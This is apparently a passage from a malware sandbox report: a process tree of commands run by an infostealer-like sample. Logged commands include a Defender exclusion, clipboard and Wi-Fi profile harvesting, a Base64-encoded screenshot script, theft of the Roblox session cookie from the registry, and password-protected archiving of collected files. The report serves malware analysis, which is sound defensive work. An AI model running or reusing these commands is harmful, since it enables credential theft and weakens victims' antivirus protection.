    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:1476
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:1992
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:2508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    PID:5268
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:5416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    PID:5456
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:5524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:5568
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4612
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\Desktop\Release of V3\Scorpix.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5300
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Desktop\Release of V3\Scorpix.exe"
      4⤵
      Views/modifies file attributes
      PID:6064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ .scr'"
    3⤵
    PID:5604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:6136
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2160
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:5260
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:5964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5888
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5408
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2268
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2724
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:5628
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:5600
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:3536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:5480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5512
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uqf03wjx\uqf03wjx.cmdline"
        5⤵
        
        PID:5652
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDE66.tmp" "c:\Users\Admin\AppData\Local\Temp\uqf03wjx\CSC55824061BA314DD8AC4B53DC122752FF.TMP"
        6⤵
        
        PID:5800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:5352
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1668
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:5960
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5596
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3224
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4948
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3764
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4116
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5488
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1676
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2212
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:5832
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:5288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3044"
    3⤵
    PID:5128
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3044
      4⤵
      Kills process with taskkill
      PID:5868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3044"
    3⤵
    PID:5760
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3044
      4⤵
      Kills process with taskkill
      PID:2620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2896"
    3⤵
    PID:4924
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2896
      4⤵
      Kills process with taskkill
      PID:5356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2896"
    3⤵
    PID:1676
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2896
      4⤵
      Kills process with taskkill
      PID:3904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2928"
    3⤵
    PID:996
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5948
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2928
      4⤵
      Kills process with taskkill
      PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2928"
    3⤵
    PID:7644
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2928
      4⤵
      Kills process with taskkill
      PID:7696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3184"
    3⤵
    PID:7724
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3184
      4⤵
      Kills process with taskkill
      PID:7824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3184"
    3⤵
    PID:7736
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3184
      4⤵
      Kills process with taskkill
      PID:7916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2196"
    3⤵
    PID:7956
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2196
      4⤵
      Kills process with taskkill
      PID:8068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2196"
    3⤵
    PID:7980
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2196
      4⤵
      Kills process with taskkill
      PID:8060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3404"
    3⤵
    PID:8116
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3404
      4⤵
      Kills process with taskkill
      PID:5004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3404"
    3⤵
    PID:8152
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3404
      4⤵
      Kills process with taskkill
      PID:1240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4788"
    3⤵
    PID:4920
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5888
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4788
      4⤵
      Kills process with taskkill
      PID:4784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4788"
    3⤵
    PID:5916
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5440
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4788
      4⤵
      Kills process with taskkill
      PID:5168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4256"
    3⤵
    PID:5824
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4256
      4⤵
      Kills process with taskkill
      PID:4948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4256"
    3⤵
    PID:1688
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4256
      4⤵
      Kills process with taskkill
      PID:5644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4072"
    3⤵
    PID:5476
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4072
      4⤵
      Kills process with taskkill
      PID:5800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4072"
    3⤵
    PID:5752
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5652
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 4072
      4⤵
      Kills process with taskkill
      PID:2288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:5460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI42202\rar.exe a -r -hp"yelex123" "C:\Users\Admin\AppData\Local\Temp\hRzzW.zip" *"
    3⤵
    PID:5384
  - - C:\Users\Admin\AppData\Local\Temp\_MEI42202\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI42202\rar.exe a -r -hp"yelex123" "C:\Users\Admin\AppData\Local\Temp\hRzzW.zip" *
      4⤵
      Executes dropped EXE
      PID:5856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:6048
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:1668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:6156
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:6216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:6248
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:6308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
